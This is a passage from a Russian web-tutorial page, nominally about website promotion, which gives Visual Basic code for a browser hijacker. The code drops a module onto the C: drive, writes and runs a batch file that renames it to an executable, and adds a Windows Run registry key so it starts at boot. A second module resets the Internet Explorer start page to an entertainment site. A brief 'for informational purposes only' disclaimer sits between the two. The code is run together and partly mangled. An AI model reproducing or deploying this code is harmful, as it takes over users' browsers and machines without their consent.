Главная / web программирование / web технологии
Приемы раскрутки WEB-сайтов.Обзор приемов раскрутки web-сайтов. |
demo.ttl c:demo.ttl" 'Скопировать модуль на диск C: Str1(1) = "c:" Str1(2) = "cd c:" Str1(3) = "ren demo.ttl demo.exe" 'Переименовать модуль в EXE For i = 0 To 3 Str1(i) = Str1(i) + Chr$(13) + Chr$(10) Open "setup.bat" For Binary As #1 Len = Len(Str1(i)) Put #1, indx, Str1(i) 'Записать BAT-файл на диск indx = indx + Len(Str1(i)) 'Номер следующей записи Close #1 Next i
Shell ("setup.bat") 'Запустить BAT-файл на исполнение
End Sub
Private Sub AutoSet() 'Создать запись в реестре Windows XP для запуска модуля при старте Windows LSkey = "SOFTWAREMicrosoftWindowsCurrentVersionRun" ' АВТОЗАГРУЗКА secattr.nLength = Len(secattr) ' size of the structure secattr.lpSecurityDescriptor = 0 ' default security level secattr.bInheritHandle = True ' the default value for this setting '-------------------------------------------------------- retval = RegCreateKeyEx(HKEY_LOCAL_MACHINE, LSkey, 0, "", 0, KEY_WRITE, secattr, hregkey, neworused) If retval <> 0 Then ' error during open Debug.Print "Error opening or creating registry key -- aborting." End ' terminate the program End If stringbuffer = "C:demo.exe" & vbNullChar ' Путь, где располагается модуль (после исполнения BAT-файла) retval = RegSetValueEx(hregkey, "Demo", 0, REG_SZ, ByVal stringbuffer, Len(stringbuffer)) ' write the string
' Close the registry key retval = RegCloseKey(hregkey) '-----------------------------
End Sub
** Программа может правильно работать только в откомпилированном варианте.
Полный листинг программы прилагается к руководству – файл IE-Start-Page.zip
Предупреждение! Автор приводит следующую информацию ТОЛЬКО В ОЗНАКОМИТЕЛЬНЫХ ЦЕЛЯХ. Запрещается использовать приведенную здесь информацию для причинения вреда. Нарушая данное условие, Вы полностью принимаете последствия ваших действий на Себя!
Листинг загружаемого модуля Demo.exe. Загружаемый модуль не представляет собой ничего особенного – просто небольшая программа, в данном случае, проверяющая дату и устанавливающая стартовую страницу Internet Explorer , например, на сайт с развлечениями.
Private Sub Form_Load() rundate = Date 'Получить ДАТУ на компьютере Form1.Caption = Mid(rundate, 1, 2) 'Выделить из даты ЧИСЛО месяца и написать его в заголовок для отладки ls = "SoftwareMicrosoftInternet ExplorerMain" adress = "http://www.privet.com" |
Дата публикации: 11 Марта, 2010
Прочитано: 7044 раз
< | 1 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | > |
Это интересно
Синтаксис языка и операторы. Функции работы с данными. Файлы и сети. Управляющие функции. Взаимодействие с базами данных. Графика. |
Предлагаемая вашему вниманию книга задумывалась не как практическое руководство по веб-дизайну, а скорее как учебник общего дизайна на частном материале веб-сайтов. |
Обзор приемов раскрутки web-сайтов. |
Краткое руководство по созданию WAP сайта |